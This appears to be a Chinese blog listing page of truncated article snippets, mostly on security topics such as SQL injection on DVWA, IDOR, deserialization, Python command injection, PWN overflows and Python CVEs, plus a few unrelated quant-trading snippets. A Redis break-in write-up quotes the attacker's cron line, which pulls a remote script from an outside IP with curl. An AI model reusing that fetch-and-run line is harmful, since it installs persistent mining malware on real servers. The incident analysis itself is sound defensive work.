Low级别:我们分别点击这几个file.php文件 仅仅是配置参数
原创
2023-08-01 16:20:04
556阅读
介绍：关于sql注入的基础知识，我上篇文章也写过了，这篇就用靶机的漏洞环境来实践操作一下，所谓实践出真理嘛，我们这次试用的漏洞平台是DVWA，Github下载地址：DVWA关于一下注入的基本知识或者姿势，我会在实践中详解。实验：LOW等级先输入1看一下我们在加个单引号这里的搜索框为什么没有显示单引号呢？因为被url编码了一般的url编码其实就是那个字符的ASCII值得十六进制，再在前面加个%。具体
原创
2019-08-09 11:04:44
7718阅读
漏洞挖掘过程账号一：订单号ID为795账号二：订单号ID为794在删除购货单的时候进行抓包，然后修改成其他购货单的id，可以成功越权删除，如果对id进行遍历。下面是账号一，点击查看账单处。进行删除的时候进行抓包，可以看到，账号一的订单号是795然后将订单号修改成账号二的794，然后抓取返回包。可以看到成功操作成功，这里并没有进行鉴权。登录账号二，发现订单也已经成功删除了。如果对该数据包的这个删除参
原创
2024-05-14 09:22:10
108阅读
0x01 前言数据序列化常见的应用场景：数据结构网络传输，session存储，cache存储，或者配置文件上传，参数接收等接口处。主要作用：能够让数据在存储或者传输的时候能够单单只用string的类型去表述相对复杂的数据结构，方便应用所见即所得，直接进行数据交流处理。引发的安全问题：PHP的unserialize/__wakeup()漏洞、struts的ognl、xml解析的一系列漏洞、Ruby
转载
2023-12-01 22:07:37
21阅读
无人值守安装文件中的密码信息。
原创
2022-10-19 22:36:48
10000+阅读
前言
今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行，一开始大胆猜测将True改为False即可。经过测试确实是这样，但是参数需要放在list里，稍微有点麻烦。
后来考虑，还可以做黑名单，过滤掉特殊字符，那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过，就看官方文档，发现
转载
2023-07-14 17:31:53
27阅读
python框架及漏洞python框架Django框架介绍：Django也是一个MVC框架。但是在Django中，控制器接受用户输入的部分由框架自行处理，所以 Django 里更关注的是模型（Model）、模板(Template)和视图（Views）。漏洞： 1. Django任意代码执行 &
转载
2023-07-24 09:58:03
36阅读
PWN简单利用堆栈溢出漏洞PWN简单利用堆栈溢出漏洞0x01 栈的介绍栈是什么栈的特点栈中如何存储数据0x02 函数调用栈寄存器分配0x03 栈帧结构例题：堆栈溢出漏洞利用0x01.运行程序、查看文件类型 和 保护措施0x02.反汇编分析0x03.调试分析payload0x04.payload生成脚本0x05.总结 PWN简单利用堆栈溢出漏洞0x01 栈的介绍栈是什么栈都是一种数据项按序排列的数
转载
2024-06-17 22:20:16
15阅读
渗透测试测试软件的溢出漏洞计算软件溢出的偏移地址查找JMP ESP指令坏字符的确定 测试软件的溢出漏洞FreeFloat FTP Server会在运行的主机上建立一个FTP。其他计算机上的用户可以登录到这个FTP上来存取文件。*例如，在主机192.168.0.116的C盘中运行这个FTP软件，在另外一台计算机中可以使用FTP下载工具或者命令的方式进行访问。*这里采用命令的方式对其进行访问，(使用
转载
2023-09-14 13:45:10
147阅读
简评：编写安全代码很困难，当你学习一个编程语言、模块或框架时，你会学习其使用方法。 在考虑安全性时，你需要考虑如何避免被滥用，Python 也不例外，即使在标准库中，也存在用于编写应用的不良实践。然而，许多 Python 开发人员却根本不知道它们。1. 输入注入（Input injection）注入攻击非常广泛而且很常见，注入有很多种类，它们影响所有的语言、框架和环境。SQL 注入是直接编写 SQ
转载
2023-11-29 16:55:20
38阅读
工具介绍Bandit这款工具可以用来搜索Python代码中常见的安全问题，在检测过程中，Bandit会对每一份Python代码文件进行处理，并构建AST，然后针对每一个AST节点运行相应的检测插件。完成安全扫描之后，Bandit会直接给用户生成检测报告。工具安装Bandit使用PyPI来进行分发，建议广大用户直接使用pip来安装Bandit。创建虚拟环境（可选）virtualenv bandit-
转载
2023-12-04 16:49:42
11阅读
整理 | 苏宓近日，Python 软件基金会(PSF)释出 Python 3.8.8和3.9.2 版本，该版本主要修复了两个值得注意的安全漏洞，其中一个名为“CVE-2021-3177”的漏洞容易被攻击者远程利用，基于代码执行可让计算机脱机。乍一看，让计算机脱机并不是什么大事，不过，倘若真的被有心之人利用该漏洞，那么，使用 Python 的用户难免会有一段糟心的体验。对此，在 Python 3.8
转载
2023-11-16 13:49:31
4阅读
今日惊闻Python出现了CVE，问题出在Lib/webbrowser.py模块，看描述还十分严重。Python容易产生远程命令执行漏洞。攻击者可以利用此问题，在运行受影响应用程序的用户上下文中执行任意命令。失败的尝试可能导致拒绝服务条件。根据CVE的描述，问题出在环境变量上。Lib/webbrowser.py in Python through 3.6.3 does not validate s
转载
2024-01-03 12:41:04
35阅读
Python 软件基金会 (PSF) 紧急推出 Python 3.9.2 和 3.8.8 稳定版，解决两个严重的安全缺陷，其中一个从理论上讲可遭远程利用但实际上仅可导致机器宕机。PSF 指出，发布候选版本中包含两个安全修复方案：CVE-2021-3177 和 CVE-2021-23336。在计算 ctypes.c_double 和 ctypes.c_longdouble 值的 repr 时避免静态
转载
2024-01-24 08:19:05
27阅读
什么是格式化字符串格式化字符串漏洞是一种比较常见的漏洞类型，主要是printf、sprintf和fprintf等c库中print家族的函数。看看printf的函数声明:这是大家在学习c系列语言时第一个要学到的函数，输出hello world。格式化字符串，是利用一些如%d、%s的内容将给出的字符串进行格式化，常用的参数包括给出一个例子，test2.c使用了%d、%x、%s、%n这几个格式化字符，其
转载
2024-04-19 16:47:14
67阅读
一、事故原因开发使用测试机redis 1.开放0.0.0.0 2.密码使用弱口令 3.使用root用户运行redis梳理一下被黑过程 扫描服务器端口 –> 弱口令拿到reids权限 –> 反弹shell写入秘钥 –> 肉鸡（修改计划任务，挖矿）贴一下被修改的计划任务，*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.
转载
2024-02-29 07:41:05
247阅读
写在前面在本文中，我们将介绍使用PyTorch构建一个深度学习模型，并将其集成到backtrader回测框架中。具体地，我们将使用PyTorch来实现一个长短期记忆神经网络（LSTM）模型，并将其应用于股票价格预测。由于backtrader目前没有原生支持深度学习的模块，因此我们需要自己先实现一个深度学习模型，对其先进行训练与测试，然后将保存的模型与backtrader集成，以便进行回测。1前言B
转载
2023-12-30 22:26:15
18阅读
1引言大部分量化策略都可以归类为均值回归与动量策略。事实上，只有当价格是均值回归或趋势的，交易策略才能盈利。否则，价格是随机游走的，交易将无利可图。均值回归是金融学的一个重要概念，指价格无论高于或低于价值中枢都会以很高的概率向价值中枢回归的趋势。古语“盛极而衰，否极泰来”，就暗含着均值回归的思想。如果说要为均值回归寻找一个比较合理的理论解释，不妨借鉴一下索罗斯的“反身性理论”。索罗斯认
转载
2023-08-05 21:05:10
368阅读
1评论
网上开源的压力测试工具超级的多，但是总有一些功能不是很符合自己预期的，于是自己动手搭建了一个简单的http load的压测环境1.首先从最简单的http环境着手，当你在浏览器上输入了http://www.google.com并且按下回车的时候其实已经发生了很多事情。 1.你的PC会去查找本地DNS缓存，查看是否存在www.google.com的IP，一般来说第一次访问是没有的。 2.于是，你的
转载
2023-07-31 12:00:06
362阅读
# 实现Python漏洞的步骤和代码解析
## 1. 简介
在开始教学之前，首先让我们了解一下什么是漏洞。漏洞是指程序或系统中存在的安全缺陷，使得攻击者可以利用这些缺陷来获取未经授权的访问或者执行恶意代码。Python作为一门强大而灵活的编程语言，也不免存在漏洞问题。本文将指导小白开发者如何实现Python漏洞。
## 2. 实现Python漏洞的流程
我们首先来看一下实现Python漏洞
原创
2023-11-14 14:12:50
82阅读
